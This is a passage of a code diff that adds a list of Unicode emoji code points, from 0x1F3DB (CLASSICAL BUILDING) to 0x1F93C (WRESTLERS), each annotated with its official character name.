+ 0x1F3DB, // CLASSICAL BUILDING
+ 0x1F3DC, // DESERT
+ 0x1F3DD, // DESERT ISLAND
+ 0x1F3DE, // NATIONAL PARK
+ 0x1F3DF, // STADIUM
+ 0x1F3E0, // HOUSE BUILDING
+ 0x1F3E1, // HOUSE WITH GARDEN
+ 0x1F3E2, // OFFICE BUILDING
+ 0x1F3E3, // JAPANESE POST OFFICE
+ 0x1F3E4, // EUROPEAN POST OFFICE
+ 0x1F3E5, // HOSPITAL
+ 0x1F3E6, // BANK
+ 0x1F3E7, // AUTOMATED TELLER MACHINE
+ 0x1F3E8, // HOTEL
+ 0x1F3E9, // LOVE HOTEL
+ 0x1F3EA, // CONVENIENCE STORE
+ 0x1F3EB, // SCHOOL
+ 0x1F3EC, // DEPARTMENT STORE
+ 0x1F3ED, // FACTORY
+ 0x1F3EE, // IZAKAYA LANTERN
+ 0x1F3EF, // JAPANESE CASTLE
+ 0x1F3F0, // EUROPEAN CASTLE
+ 0x1F3F3, // WAVING WHITE FLAG
+ 0x1F3F4, // WAVING BLACK FLAG
+ 0x1F3F5, // ROSETTE
+ 0x1F3F7, // LABEL
+ 0x1F3F8, // BADMINTON RACQUET AND SHUTTLECOCK
+ 0x1F3F9, // BOW AND ARROW
+ 0x1F3FA, // AMPHORA
+ 0x1F3FB, // EMOJI MODIFIER FITZPATRICK TYPE-1-2
+ 0x1F3FC, // EMOJI MODIFIER FITZPATRICK TYPE-3
+ 0x1F3FD, // EMOJI MODIFIER FITZPATRICK TYPE-4
+ 0x1F3FE, // EMOJI MODIFIER FITZPATRICK TYPE-5
+ 0x1F3FF, // EMOJI MODIFIER FITZPATRICK TYPE-6
+ 0x1F400, // RAT
+ 0x1F401, // MOUSE
+ 0x1F402, // OX
+ 0x1F403, // WATER BUFFALO
+ 0x1F404, // COW
+ 0x1F405, // TIGER
+ 0x1F406, // LEOPARD
+ 0x1F407, // RABBIT
+ 0x1F408, // CAT
+ 0x1F409, // DRAGON
+ 0x1F40A, // CROCODILE
+ 0x1F40B, // WHALE
+ 0x1F40C, // SNAIL
+ 0x1F40D, // SNAKE
+ 0x1F40E, // HORSE
+ 0x1F40F, // RAM
+ 0x1F410, // GOAT
+ 0x1F411, // SHEEP
+ 0x1F412, // MONKEY
+ 0x1F413, // ROOSTER
+ 0x1F414, // CHICKEN
+ 0x1F415, // DOG
+ 0x1F416, // PIG
+ 0x1F417, // BOAR
+ 0x1F418, // ELEPHANT
+ 0x1F419, // OCTOPUS
+ 0x1F41A, // SPIRAL SHELL
+ 0x1F41B, // BUG
+ 0x1F41C, // ANT
+ 0x1F41D, // HONEYBEE
+ 0x1F41E, // LADY BEETLE
+ 0x1F41F, // FISH
+ 0x1F420, // TROPICAL FISH
+ 0x1F421, // BLOWFISH
+ 0x1F422, // TURTLE
+ 0x1F423, // HATCHING CHICK
+ 0x1F424, // BABY CHICK
+ 0x1F425, // FRONT-FACING BABY CHICK
+ 0x1F426, // BIRD
+ 0x1F427, // PENGUIN
+ 0x1F428, // KOALA
+ 0x1F429, // POODLE
+ 0x1F42A, // DROMEDARY CAMEL
+ 0x1F42B, // BACTRIAN CAMEL
+ 0x1F42C, // DOLPHIN
+ 0x1F42D, // MOUSE FACE
+ 0x1F42E, // COW FACE
+ 0x1F42F, // TIGER FACE
+ 0x1F430, // RABBIT FACE
+ 0x1F431, // CAT FACE
+ 0x1F432, // DRAGON FACE
+ 0x1F433, // SPOUTING WHALE
+ 0x1F434, // HORSE FACE
+ 0x1F435, // MONKEY FACE
+ 0x1F436, // DOG FACE
+ 0x1F437, // PIG FACE
+ 0x1F438, // FROG FACE
+ 0x1F439, // HAMSTER FACE
+ 0x1F43A, // WOLF FACE
+ 0x1F43B, // BEAR FACE
+ 0x1F43C, // PANDA FACE
+ 0x1F43D, // PIG NOSE
+ 0x1F43E, // PAW PRINTS
+ 0x1F43F, // CHIPMUNK
+ 0x1F440, // EYES
+ 0x1F441, // EYE
+ 0x1F442, // EAR
+ 0x1F443, // NOSE
+ 0x1F444, // MOUTH
+ 0x1F445, // TONGUE
+ 0x1F446, // WHITE UP POINTING BACKHAND INDEX
+ 0x1F447, // WHITE DOWN POINTING BACKHAND INDEX
+ 0x1F448, // WHITE LEFT POINTING BACKHAND INDEX
+ 0x1F449, // WHITE RIGHT POINTING BACKHAND INDEX
+ 0x1F44A, // FISTED HAND SIGN
+ 0x1F44B, // WAVING HAND SIGN
+ 0x1F44C, // OK HAND SIGN
+ 0x1F44D, // THUMBS UP SIGN
+ 0x1F44E, // THUMBS DOWN SIGN
+ 0x1F44F, // CLAPPING HANDS SIGN
+ 0x1F450, // OPEN HANDS SIGN
+ 0x1F451, // CROWN
+ 0x1F452, // WOMANS HAT
+ 0x1F453, // EYEGLASSES
+ 0x1F454, // NECKTIE
+ 0x1F455, // T-SHIRT
+ 0x1F456, // JEANS
+ 0x1F457, // DRESS
+ 0x1F458, // KIMONO
+ 0x1F459, // BIKINI
+ 0x1F45A, // WOMANS CLOTHES
+ 0x1F45B, // PURSE
+ 0x1F45C, // HANDBAG
+ 0x1F45D, // POUCH
+ 0x1F45E, // MANS SHOE
+ 0x1F45F, // ATHLETIC SHOE
+ 0x1F460, // HIGH-HEELED SHOE
+ 0x1F461, // WOMANS SANDAL
+ 0x1F462, // WOMANS BOOTS
+ 0x1F463, // FOOTPRINTS
+ 0x1F464, // BUST IN SILHOUETTE
+ 0x1F465, // BUSTS IN SILHOUETTE
+ 0x1F466, // BOY
+ 0x1F467, // GIRL
+ 0x1F468, // MAN
+ 0x1F469, // WOMAN
+ 0x1F46A, // FAMILY
+ 0x1F46B, // MAN AND WOMAN HOLDING HANDS
+ 0x1F46C, // TWO MEN HOLDING HANDS
+ 0x1F46D, // TWO WOMEN HOLDING HANDS
+ 0x1F46E, // POLICE OFFICER
+ 0x1F46F, // WOMAN WITH BUNNY EARS
+ 0x1F470, // BRIDE WITH VEIL
+ 0x1F471, // PERSON WITH BLOND HAIR
+ 0x1F472, // MAN WITH GUA PI MAO
+ 0x1F473, // MAN WITH TURBAN
+ 0x1F474, // OLDER MAN
+ 0x1F475, // OLDER WOMAN
+ 0x1F476, // BABY
+ 0x1F477, // CONSTRUCTION WORKER
+ 0x1F478, // PRINCESS
+ 0x1F479, // JAPANESE OGRE
+ 0x1F47A, // JAPANESE GOBLIN
+ 0x1F47B, // GHOST
+ 0x1F47C, // BABY ANGEL
+ 0x1F47D, // EXTRATERRESTRIAL ALIEN
+ 0x1F47E, // ALIEN MONSTER
+ 0x1F47F, // IMP
+ 0x1F480, // SKULL
+ 0x1F481, // INFORMATION DESK PERSON
+ 0x1F482, // GUARDSMAN
+ 0x1F483, // DANCER
+ 0x1F484, // LIPSTICK
+ 0x1F485, // NAIL POLISH
+ 0x1F486, // FACE MASSAGE
+ 0x1F487, // HAIRCUT
+ 0x1F488, // BARBER POLE
+ 0x1F489, // SYRINGE
+ 0x1F48A, // PILL
+ 0x1F48B, // KISS MARK
+ 0x1F48C, // LOVE LETTER
+ 0x1F48D, // RING
+ 0x1F48E, // GEM STONE
+ 0x1F48F, // KISS
+ 0x1F490, // BOUQUET
+ 0x1F491, // COUPLE WITH HEART
+ 0x1F492, // WEDDING
+ 0x1F493, // BEATING HEART
+ 0x1F494, // BROKEN HEART
+ 0x1F495, // TWO HEARTS
+ 0x1F496, // SPARKLING HEART
+ 0x1F497, // GROWING HEART
+ 0x1F498, // HEART WITH ARROW
+ 0x1F499, // BLUE HEART
+ 0x1F49A, // GREEN HEART
+ 0x1F49B, // YELLOW HEART
+ 0x1F49C, // PURPLE HEART
+ 0x1F49D, // HEART WITH RIBBON
+ 0x1F49E, // REVOLVING HEARTS
+ 0x1F49F, // HEART DECORATION
+ 0x1F4A0, // DIAMOND SHAPE WITH A DOT INSIDE
+ 0x1F4A1, // ELECTRIC LIGHT BULB
+ 0x1F4A2, // ANGER SYMBOL
+ 0x1F4A3, // BOMB
+ 0x1F4A4, // SLEEPING SYMBOL
+ 0x1F4A5, // COLLISION SYMBOL
+ 0x1F4A6, // SPLASHING SWEAT SYMBOL
+ 0x1F4A7, // DROPLET
+ 0x1F4A8, // DASH SYMBOL
+ 0x1F4A9, // PILE OF POO
+ 0x1F4AA, // FLEXED BICEPS
+ 0x1F4AB, // DIZZY SYMBOL
+ 0x1F4AC, // SPEECH BALLOON
+ 0x1F4AD, // THOUGHT BALLOON
+ 0x1F4AE, // WHITE FLOWER
+ 0x1F4AF, // HUNDRED POINTS SYMBOL
+ 0x1F4B0, // MONEY BAG
+ 0x1F4B1, // CURRENCY EXCHANGE
+ 0x1F4B2, // HEAVY DOLLAR SIGN
+ 0x1F4B3, // CREDIT CARD
+ 0x1F4B4, // BANKNOTE WITH YEN SIGN
+ 0x1F4B5, // BANKNOTE WITH DOLLAR SIGN
+ 0x1F4B6, // BANKNOTE WITH EURO SIGN
+ 0x1F4B7, // BANKNOTE WITH POUND SIGN
+ 0x1F4B8, // MONEY WITH WINGS
+ 0x1F4B9, // CHART WITH UPWARDS TREND AND YEN SIGN
+ 0x1F4BA, // SEAT
+ 0x1F4BB, // PERSONAL COMPUTER
+ 0x1F4BC, // BRIEFCASE
+ 0x1F4BD, // MINIDISC
+ 0x1F4BE, // FLOPPY DISK
+ 0x1F4BF, // OPTICAL DISC
+ 0x1F4C0, // DVD
+ 0x1F4C1, // FILE FOLDER
+ 0x1F4C2, // OPEN FILE FOLDER
+ 0x1F4C3, // PAGE WITH CURL
+ 0x1F4C4, // PAGE FACING UP
+ 0x1F4C5, // CALENDAR
+ 0x1F4C6, // TEAR-OFF CALENDAR
+ 0x1F4C7, // CARD INDEX
+ 0x1F4C8, // CHART WITH UPWARDS TREND
+ 0x1F4C9, // CHART WITH DOWNWARDS TREND
+ 0x1F4CA, // BAR CHART
+ 0x1F4CB, // CLIPBOARD
+ 0x1F4CC, // PUSHPIN
+ 0x1F4CD, // ROUND PUSHPIN
+ 0x1F4CE, // PAPERCLIP
+ 0x1F4CF, // STRAIGHT RULER
+ 0x1F4D0, // TRIANGULAR RULER
+ 0x1F4D1, // BOOKMARK TABS
+ 0x1F4D2, // LEDGER
+ 0x1F4D3, // NOTEBOOK
+ 0x1F4D4, // NOTEBOOK WITH DECORATIVE COVER
+ 0x1F4D5, // CLOSED BOOK
+ 0x1F4D6, // OPEN BOOK
+ 0x1F4D7, // GREEN BOOK
+ 0x1F4D8, // BLUE BOOK
+ 0x1F4D9, // ORANGE BOOK
+ 0x1F4DA, // BOOKS
+ 0x1F4DB, // NAME BADGE
+ 0x1F4DC, // SCROLL
+ 0x1F4DD, // MEMO
+ 0x1F4DE, // TELEPHONE RECEIVER
+ 0x1F4DF, // PAGER
+ 0x1F4E0, // FAX MACHINE
+ 0x1F4E1, // SATELLITE ANTENNA
+ 0x1F4E2, // PUBLIC ADDRESS LOUDSPEAKER
+ 0x1F4E3, // CHEERING MEGAPHONE
+ 0x1F4E4, // OUTBOX TRAY
+ 0x1F4E5, // INBOX TRAY
+ 0x1F4E6, // PACKAGE
+ 0x1F4E7, // E-MAIL SYMBOL
+ 0x1F4E8, // INCOMING ENVELOPE
+ 0x1F4E9, // ENVELOPE WITH DOWNWARDS ARROW ABOVE
+ 0x1F4EA, // CLOSED MAILBOX WITH LOWERED FLAG
+ 0x1F4EB, // CLOSED MAILBOX WITH RAISED FLAG
+ 0x1F4EC, // OPEN MAILBOX WITH RAISED FLAG
+ 0x1F4ED, // OPEN MAILBOX WITH LOWERED FLAG
+ 0x1F4EE, // POSTBOX
+ 0x1F4EF, // POSTAL HORN
+ 0x1F4F0, // NEWSPAPER
+ 0x1F4F1, // MOBILE PHONE
+ 0x1F4F2, // MOBILE PHONE WITH RIGHTWARDS ARROW AT LEFT
+ 0x1F4F3, // VIBRATION MODE
+ 0x1F4F4, // MOBILE PHONE OFF
+ 0x1F4F5, // NO MOBILE PHONES
+ 0x1F4F6, // ANTENNA WITH BARS
+ 0x1F4F7, // CAMERA
+ 0x1F4F8, // CAMERA WITH FLASH
+ 0x1F4F9, // VIDEO CAMERA
+ 0x1F4FA, // TELEVISION
+ 0x1F4FB, // RADIO
+ 0x1F4FC, // VIDEOCASSETTE
+ 0x1F4FD, // FILM PROJECTOR
+ 0x1F4FF, // PRAYER BEADS
+ 0x1F500, // TWISTED RIGHTWARDS ARROWS
+ 0x1F501, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS
+ 0x1F502, // CLOCKWISE RIGHTWARDS AND LEFTWARDS OPEN CIRCLE ARROWS WITH CIRCLED ONE OVERLAY
+ 0x1F503, // CLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+ 0x1F504, // ANTICLOCKWISE DOWNWARDS AND UPWARDS OPEN CIRCLE ARROWS
+ 0x1F505, // LOW BRIGHTNESS SYMBOL
+ 0x1F506, // HIGH BRIGHTNESS SYMBOL
+ 0x1F507, // SPEAKER WITH CANCELLATION STROKE
+ 0x1F508, // SPEAKER
+ 0x1F509, // SPEAKER WITH ONE SOUND WAVE
+ 0x1F50A, // SPEAKER WITH THREE SOUND WAVES
+ 0x1F50B, // BATTERY
+ 0x1F50C, // ELECTRIC PLUG
+ 0x1F50D, // LEFT-POINTING MAGNIFYING GLASS
+ 0x1F50E, // RIGHT-POINTING MAGNIFYING GLASS
+ 0x1F50F, // LOCK WITH INK PEN
+ 0x1F510, // CLOSED LOCK WITH KEY
+ 0x1F511, // KEY
+ 0x1F512, // LOCK
+ 0x1F513, // OPEN LOCK
+ 0x1F514, // BELL
+ 0x1F515, // BELL WITH CANCELLATION STROKE
+ 0x1F516, // BOOKMARK
+ 0x1F517, // LINK SYMBOL
+ 0x1F518, // RADIO BUTTON
+ 0x1F519, // BACK WITH LEFTWARDS ARROW ABOVE
+ 0x1F51A, // END WITH LEFTWARDS ARROW ABOVE
+ 0x1F51B, // ON WITH EXCLAMATION MARK WITH LEFT RIGHT ARROW ABOVE
+ 0x1F51C, // SOON WITH RIGHTWARDS ARROW ABOVE
+ 0x1F51D, // TOP WITH UPWARDS ARROW ABOVE
+ 0x1F51E, // NO ONE UNDER EIGHTEEN SYMBOL
+ 0x1F51F, // KEYCAP TEN
+ 0x1F520, // INPUT SYMBOL FOR LATIN CAPITAL LETTERS
+ 0x1F521, // INPUT SYMBOL FOR LATIN SMALL LETTERS
+ 0x1F522, // INPUT SYMBOL FOR NUMBERS
+ 0x1F523, // INPUT SYMBOL FOR SYMBOLS
+ 0x1F524, // INPUT SYMBOL FOR LATIN LETTERS
+ 0x1F525, // FIRE
+ 0x1F526, // ELECTRIC TORCH
+ 0x1F527, // WRENCH
+ 0x1F528, // HAMMER
+ 0x1F529, // NUT AND BOLT
+ 0x1F52A, // HOCHO
+ 0x1F52B, // PISTOL
+ 0x1F52C, // MICROSCOPE
+ 0x1F52D, // TELESCOPE
+ 0x1F52E, // CRYSTAL BALL
+ 0x1F52F, // SIX POINTED STAR WITH MIDDLE DOT
+ 0x1F530, // JAPANESE SYMBOL FOR BEGINNER
+ 0x1F531, // TRIDENT EMBLEM
+ 0x1F532, // BLACK SQUARE BUTTON
+ 0x1F533, // WHITE SQUARE BUTTON
+ 0x1F534, // LARGE RED CIRCLE
+ 0x1F535, // LARGE BLUE CIRCLE
+ 0x1F536, // LARGE ORANGE DIAMOND
+ 0x1F537, // LARGE BLUE DIAMOND
+ 0x1F538, // SMALL ORANGE DIAMOND
+ 0x1F539, // SMALL BLUE DIAMOND
+ 0x1F53A, // UP-POINTING RED TRIANGLE
+ 0x1F53B, // DOWN-POINTING RED TRIANGLE
+ 0x1F53C, // UP-POINTING SMALL RED TRIANGLE
+ 0x1F53D, // DOWN-POINTING SMALL RED TRIANGLE
+ 0x1F549, // OM SYMBOL
+ 0x1F54A, // DOVE OF PEACE
+ 0x1F54B, // KAABA
+ 0x1F54C, // MOSQUE
+ 0x1F54D, // SYNAGOGUE
+ 0x1F54E, // MENORAH WITH NINE BRANCHES
+ 0x1F550, // CLOCK FACE ONE OCLOCK
+ 0x1F551, // CLOCK FACE TWO OCLOCK
+ 0x1F552, // CLOCK FACE THREE OCLOCK
+ 0x1F553, // CLOCK FACE FOUR OCLOCK
+ 0x1F554, // CLOCK FACE FIVE OCLOCK
+ 0x1F555, // CLOCK FACE SIX OCLOCK
+ 0x1F556, // CLOCK FACE SEVEN OCLOCK
+ 0x1F557, // CLOCK FACE EIGHT OCLOCK
+ 0x1F558, // CLOCK FACE NINE OCLOCK
+ 0x1F559, // CLOCK FACE TEN OCLOCK
+ 0x1F55A, // CLOCK FACE ELEVEN OCLOCK
+ 0x1F55B, // CLOCK FACE TWELVE OCLOCK
+ 0x1F55C, // CLOCK FACE ONE-THIRTY
+ 0x1F55D, // CLOCK FACE TWO-THIRTY
+ 0x1F55E, // CLOCK FACE THREE-THIRTY
+ 0x1F55F, // CLOCK FACE FOUR-THIRTY
+ 0x1F560, // CLOCK FACE FIVE-THIRTY
+ 0x1F561, // CLOCK FACE SIX-THIRTY
+ 0x1F562, // CLOCK FACE SEVEN-THIRTY
+ 0x1F563, // CLOCK FACE EIGHT-THIRTY
+ 0x1F564, // CLOCK FACE NINE-THIRTY
+ 0x1F565, // CLOCK FACE TEN-THIRTY
+ 0x1F566, // CLOCK FACE ELEVEN-THIRTY
+ 0x1F567, // CLOCK FACE TWELVE-THIRTY
+ 0x1F56F, // CANDLE
+ 0x1F570, // MANTELPIECE CLOCK
+ 0x1F573, // HOLE
+ 0x1F574, // MAN IN BUSINESS SUIT LEVITATING
+ 0x1F575, // SLEUTH OR SPY
+ 0x1F576, // DARK SUNGLASSES
+ 0x1F577, // SPIDER
+ 0x1F578, // SPIDER WEB
+ 0x1F579, // JOYSTICK
+ 0x1F57A, // MAN DANCING
+ 0x1F587, // LINKED PAPERCLIPS
+ 0x1F58A, // LOWER LEFT BALLPOINT PEN
+ 0x1F58B, // LOWER LEFT FOUNTAIN PEN
+ 0x1F58C, // LOWER LEFT PAINTBRUSH
+ 0x1F58D, // LOWER LEFT CRAYON
+ 0x1F590, // RAISED HAND WITH FINGERS SPLAYED
+ 0x1F595, // REVERSED HAND WITH MIDDLE FINGER EXTENDED
+ 0x1F596, // RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS
+ 0x1F5A4, // BLACK HEART
+ 0x1F5A5, // DESKTOP COMPUTER
+ 0x1F5A8, // PRINTER
+ 0x1F5B1, // THREE BUTTON MOUSE
+ 0x1F5B2, // TRACKBALL
+ 0x1F5BC, // FRAME WITH PICTURE
+ 0x1F5C2, // CARD INDEX DIVIDERS
+ 0x1F5C3, // CARD FILE BOX
+ 0x1F5C4, // FILE CABINET
+ 0x1F5D1, // WASTEBASKET
+ 0x1F5D2, // SPIRAL NOTE PAD
+ 0x1F5D3, // SPIRAL CALENDAR PAD
+ 0x1F5DC, // COMPRESSION
+ 0x1F5DD, // OLD KEY
+ 0x1F5DE, // ROLLED-UP NEWSPAPER
+ 0x1F5E1, // DAGGER KNIFE
+ 0x1F5E3, // SPEAKING HEAD IN SILHOUETTE
+ 0x1F5E8, // LEFT SPEECH BUBBLE
+ 0x1F5EF, // RIGHT ANGER BUBBLE
+ 0x1F5F3, // BALLOT BOX WITH BALLOT
+ 0x1F5FA, // WORLD MAP
+ 0x1F5FB, // MOUNT FUJI
+ 0x1F5FC, // TOKYO TOWER
+ 0x1F5FD, // STATUE OF LIBERTY
+ 0x1F5FE, // SILHOUETTE OF JAPAN
+ 0x1F5FF, // MOYAI
+ 0x1F600, // GRINNING FACE
+ 0x1F601, // GRINNING FACE WITH SMILING EYES
+ 0x1F602, // FACE WITH TEARS OF JOY
+ 0x1F603, // SMILING FACE WITH OPEN MOUTH
+ 0x1F604, // SMILING FACE WITH OPEN MOUTH AND SMILING EYES
+ 0x1F605, // SMILING FACE WITH OPEN MOUTH AND COLD SWEAT
+ 0x1F606, // SMILING FACE WITH OPEN MOUTH AND TIGHTLY-CLOSED EYES
+ 0x1F607, // SMILING FACE WITH HALO
+ 0x1F608, // SMILING FACE WITH HORNS
+ 0x1F609, // WINKING FACE
+ 0x1F60A, // SMILING FACE WITH SMILING EYES
+ 0x1F60B, // FACE SAVOURING DELICIOUS FOOD
+ 0x1F60C, // RELIEVED FACE
+ 0x1F60D, // SMILING FACE WITH HEART-SHAPED EYES
+ 0x1F60E, // SMILING FACE WITH SUNGLASSES
+ 0x1F60F, // SMIRKING FACE
+ 0x1F610, // NEUTRAL FACE
+ 0x1F611, // EXPRESSIONLESS FACE
+ 0x1F612, // UNAMUSED FACE
+ 0x1F613, // FACE WITH COLD SWEAT
+ 0x1F614, // PENSIVE FACE
+ 0x1F615, // CONFUSED FACE
+ 0x1F616, // CONFOUNDED FACE
+ 0x1F617, // KISSING FACE
+ 0x1F618, // FACE THROWING A KISS
+ 0x1F619, // KISSING FACE WITH SMILING EYES
+ 0x1F61A, // KISSING FACE WITH CLOSED EYES
+ 0x1F61B, // FACE WITH STUCK-OUT TONGUE
+ 0x1F61C, // FACE WITH STUCK-OUT TONGUE AND WINKING EYE
+ 0x1F61D, // FACE WITH STUCK-OUT TONGUE AND TIGHTLY-CLOSED EYES
+ 0x1F61E, // DISAPPOINTED FACE
+ 0x1F61F, // WORRIED FACE
+ 0x1F620, // ANGRY FACE
+ 0x1F621, // POUTING FACE
+ 0x1F622, // CRYING FACE
+ 0x1F623, // PERSEVERING FACE
+ 0x1F624, // FACE WITH LOOK OF TRIUMPH
+ 0x1F625, // DISAPPOINTED BUT RELIEVED FACE
+ 0x1F626, // FROWNING FACE WITH OPEN MOUTH
+ 0x1F627, // ANGUISHED FACE
+ 0x1F628, // FEARFUL FACE
+ 0x1F629, // WEARY FACE
+ 0x1F62A, // SLEEPY FACE
+ 0x1F62B, // TIRED FACE
+ 0x1F62C, // GRIMACING FACE
+ 0x1F62D, // LOUDLY CRYING FACE
+ 0x1F62E, // FACE WITH OPEN MOUTH
+ 0x1F62F, // HUSHED FACE
+ 0x1F630, // FACE WITH OPEN MOUTH AND COLD SWEAT
+ 0x1F631, // FACE SCREAMING IN FEAR
+ 0x1F632, // ASTONISHED FACE
+ 0x1F633, // FLUSHED FACE
+ 0x1F634, // SLEEPING FACE
+ 0x1F635, // DIZZY FACE
+ 0x1F636, // FACE WITHOUT MOUTH
+ 0x1F637, // FACE WITH MEDICAL MASK
+ 0x1F638, // GRINNING CAT FACE WITH SMILING EYES
+ 0x1F639, // CAT FACE WITH TEARS OF JOY
+ 0x1F63A, // SMILING CAT FACE WITH OPEN MOUTH
+ 0x1F63B, // SMILING CAT FACE WITH HEART-SHAPED EYES
+ 0x1F63C, // CAT FACE WITH WRY SMILE
+ 0x1F63D, // KISSING CAT FACE WITH CLOSED EYES
+ 0x1F63E, // POUTING CAT FACE
+ 0x1F63F, // CRYING CAT FACE
+ 0x1F640, // WEARY CAT FACE
+ 0x1F641, // SLIGHTLY FROWNING FACE
+ 0x1F642, // SLIGHTLY SMILING FACE
+ 0x1F643, // UPSIDE-DOWN FACE
+ 0x1F644, // FACE WITH ROLLING EYES
+ 0x1F645, // FACE WITH NO GOOD GESTURE
+ 0x1F646, // FACE WITH OK GESTURE
+ 0x1F647, // PERSON BOWING DEEPLY
+ 0x1F648, // SEE-NO-EVIL MONKEY
+ 0x1F649, // HEAR-NO-EVIL MONKEY
+ 0x1F64A, // SPEAK-NO-EVIL MONKEY
+ 0x1F64B, // HAPPY PERSON RAISING ONE HAND
+ 0x1F64C, // PERSON RAISING BOTH HANDS IN CELEBRATION
+ 0x1F64D, // PERSON FROWNING
+ 0x1F64E, // PERSON WITH POUTING FACE
+ 0x1F64F, // PERSON WITH FOLDED HANDS
+ 0x1F680, // ROCKET
+ 0x1F681, // HELICOPTER
+ 0x1F682, // STEAM LOCOMOTIVE
+ 0x1F683, // RAILWAY CAR
+ 0x1F684, // HIGH-SPEED TRAIN
+ 0x1F685, // HIGH-SPEED TRAIN WITH BULLET NOSE
+ 0x1F686, // TRAIN
+ 0x1F687, // METRO
+ 0x1F688, // LIGHT RAIL
+ 0x1F689, // STATION
+ 0x1F68A, // TRAM
+ 0x1F68B, // TRAM CAR
+ 0x1F68C, // BUS
+ 0x1F68D, // ONCOMING BUS
+ 0x1F68E, // TROLLEYBUS
+ 0x1F68F, // BUS STOP
+ 0x1F690, // MINIBUS
+ 0x1F691, // AMBULANCE
+ 0x1F692, // FIRE ENGINE
+ 0x1F693, // POLICE CAR
+ 0x1F694, // ONCOMING POLICE CAR
+ 0x1F695, // TAXI
+ 0x1F696, // ONCOMING TAXI
+ 0x1F697, // AUTOMOBILE
+ 0x1F698, // ONCOMING AUTOMOBILE
+ 0x1F699, // RECREATIONAL VEHICLE
+ 0x1F69A, // DELIVERY TRUCK
+ 0x1F69B, // ARTICULATED LORRY
+ 0x1F69C, // TRACTOR
+ 0x1F69D, // MONORAIL
+ 0x1F69E, // MOUNTAIN RAILWAY
+ 0x1F69F, // SUSPENSION RAILWAY
+ 0x1F6A0, // MOUNTAIN CABLEWAY
+ 0x1F6A1, // AERIAL TRAMWAY
+ 0x1F6A2, // SHIP
+ 0x1F6A3, // ROWBOAT
+ 0x1F6A4, // SPEEDBOAT
+ 0x1F6A5, // HORIZONTAL TRAFFIC LIGHT
+ 0x1F6A6, // VERTICAL TRAFFIC LIGHT
+ 0x1F6A7, // CONSTRUCTION SIGN
+ 0x1F6A8, // POLICE CARS REVOLVING LIGHT
+ 0x1F6A9, // TRIANGULAR FLAG ON POST
+ 0x1F6AA, // DOOR
+ 0x1F6AB, // NO ENTRY SIGN
+ 0x1F6AC, // SMOKING SYMBOL
+ 0x1F6AD, // NO SMOKING SYMBOL
+ 0x1F6AE, // PUT LITTER IN ITS PLACE SYMBOL
+ 0x1F6AF, // DO NOT LITTER SYMBOL
+ 0x1F6B0, // POTABLE WATER SYMBOL
+ 0x1F6B1, // NON-POTABLE WATER SYMBOL
+ 0x1F6B2, // BICYCLE
+ 0x1F6B3, // NO BICYCLES
+ 0x1F6B4, // BICYCLIST
+ 0x1F6B5, // MOUNTAIN BICYCLIST
+ 0x1F6B6, // PEDESTRIAN
+ 0x1F6B7, // NO PEDESTRIANS
+ 0x1F6B8, // CHILDREN CROSSING
+ 0x1F6B9, // MENS SYMBOL
+ 0x1F6BA, // WOMENS SYMBOL
+ 0x1F6BB, // RESTROOM
+ 0x1F6BC, // BABY SYMBOL
+ 0x1F6BD, // TOILET
+ 0x1F6BE, // WATER CLOSET
+ 0x1F6BF, // SHOWER
+ 0x1F6C0, // BATH
+ 0x1F6C1, // BATHTUB
+ 0x1F6C2, // PASSPORT CONTROL
+ 0x1F6C3, // CUSTOMS
+ 0x1F6C4, // BAGGAGE CLAIM
+ 0x1F6C5, // LEFT LUGGAGE
+ 0x1F6CB, // COUCH AND LAMP
+ 0x1F6CC, // SLEEPING ACCOMMODATION
+ 0x1F6CD, // SHOPPING BAGS
+ 0x1F6CE, // BELLHOP BELL
+ 0x1F6CF, // BED
+ 0x1F6D0, // PLACE OF WORSHIP
+ 0x1F6D1, // OCTAGONAL SIGN
+ 0x1F6D2, // SHOPPING TROLLEY
+ 0x1F6E0, // HAMMER AND WRENCH
+ 0x1F6E1, // SHIELD
+ 0x1F6E2, // OIL DRUM
+ 0x1F6E3, // MOTORWAY
+ 0x1F6E4, // RAILWAY TRACK
+ 0x1F6E5, // MOTOR BOAT
+ 0x1F6E9, // SMALL AIRPLANE
+ 0x1F6EB, // AIRPLANE DEPARTURE
+ 0x1F6EC, // AIRPLANE ARRIVING
+ 0x1F6F0, // SATELLITE
+ 0x1F6F3, // PASSENGER SHIP
+ 0x1F6F4, // SCOOTER
+ 0x1F6F5, // MOTOR SCOOTER
+ 0x1F6F6, // CANOE
+ 0x1F6F7, // SLED
+ 0x1F6F8, // FLYING SAUCER
+ 0x1F910, // ZIPPER-MOUTH FACE
+ 0x1F911, // MONEY-MOUTH FACE
+ 0x1F912, // FACE WITH THERMOMETER
+ 0x1F913, // NERD FACE
+ 0x1F914, // THINKING FACE
+ 0x1F915, // FACE WITH HEAD-BANDAGE
+ 0x1F916, // ROBOT FACE
+ 0x1F917, // HUGGING FACE
+ 0x1F918, // SIGN OF THE HORNS
+ 0x1F919, // CALL ME HAND
+ 0x1F91A, // RAISED BACK OF HAND
+ 0x1F91B, // LEFT-FACING FIST
+ 0x1F91C, // RIGHT-FACING FIST
+ 0x1F91D, // HANDSHAKE
+ 0x1F91E, // HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+ 0x1F91F, // LOVE-YOU GESTURE
+ 0x1F920, // FACE WITH COWBOY HAT
+ 0x1F921, // CLOWN FACE
+ 0x1F922, // NAUSEATED FACE
+ 0x1F923, // ROLLING ON THE FLOOR LAUGHING
+ 0x1F924, // DROOLING FACE
+ 0x1F925, // LYING FACE
+ 0x1F926, // FACE PALM
+ 0x1F927, // SNEEZING FACE
+ 0x1F928, // FACE WITH RAISED EYEBROW
+ 0x1F929, // STAR-STRUCK
+ 0x1F92A, // CRAZY FACE
+ 0x1F92B, // SHUSHING FACE
+ 0x1F92C, // FACE WITH SYMBOLS OVER MOUTH
+ 0x1F92D, // FACE WITH HAND OVER MOUTH
+ 0x1F92E, // FACE VOMITING
+ 0x1F92F, // EXPLODING HEAD
+ 0x1F930, // PREGNANT WOMAN
+ 0x1F931, // BREAST-FEEDING
+ 0x1F932, // PALMS UP TOGETHER
+ 0x1F933, // SELFIE
+ 0x1F934, // PRINCE
+ 0x1F935, // MAN IN TUXEDO
+ 0x1F936, // MOTHER CHRISTMAS
+ 0x1F937, // SHRUG
+ 0x1F938, // PERSON DOING CARTWHEEL
+ 0x1F939, // JUGGLING
+ 0x1F93A, // FENCER
+ 0x1F93C, // WRESTLERS
